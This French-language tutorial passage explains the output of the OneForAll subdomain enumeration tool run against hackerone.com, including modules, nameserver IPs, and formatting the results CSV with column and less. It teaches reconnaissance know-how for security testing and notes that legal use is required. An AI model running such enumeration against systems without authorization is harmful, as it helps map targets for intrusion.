Les résultats de la commande OneForAll sur https://hackerone.com montrent les modules exécutés ainsi que le nombre de sous-domaines trouvés. Par exemple, avec les résultats de cette requête, on voit que le module CertInfo a trouvé 4 sous-domaines en 0,1 seconde, l'accès au site dnsgrep.cn a été refusé (statut403) et d’autres informations.

Les serveurs a.ns.hackerone.com et b.ns.hackerone.com ont aussi été trouvés, ce qui a permis de retourner les adresses IP 162.159.0.31 et 162.159.1.31.

Les sous-domaines trouvés seront répertoriés dans le dossier /results par défaut dans un fichier csv qui peut être compliqué à lire. Vous pouvez formater les colonnes à l’affichage avec les commandes column et less:

column -s, -t < hackerone.com.csv | less -#2 -N -S

• L’option -s, (-s suivi de la virgule) spécifie que la virgule ( , ) est le délimiteur qui sépare les colonnes dans le fichier csv

• L’option -t indique à column de créer un tableau avec des colonnes alignées

• < hackerone.com.csv permet une redirection du contenu du fichier hackerone.com.csv comme entrée pour la commande column

• less -#2 -N -S permet de paginer la sortie avec less, affiche les numéros de ligne avec -N, permet un défilement horizontal avec -S, et définit l'espacement des tabulations à 2 avec -#2. Vous pouvez quitter l’affichage avec la touche q .

Le fichier avec les résultats avec un affiche standard se présente comme suit:

On passe donc de l’affichage de l’image au dessus à ceux en dessous avec la commande column -s, -t < hackerone.com.csv | less -#2 -N -S .

OneForAll est un outil essentiel en matière d’énumération de sous-domaines de part sa capacité à collecter le sous-domaines de manière rapide et précise.

À noter, qu’il est important de rappeler que l'utilisation de cet outil doit toujours se faire dans un cadre légal.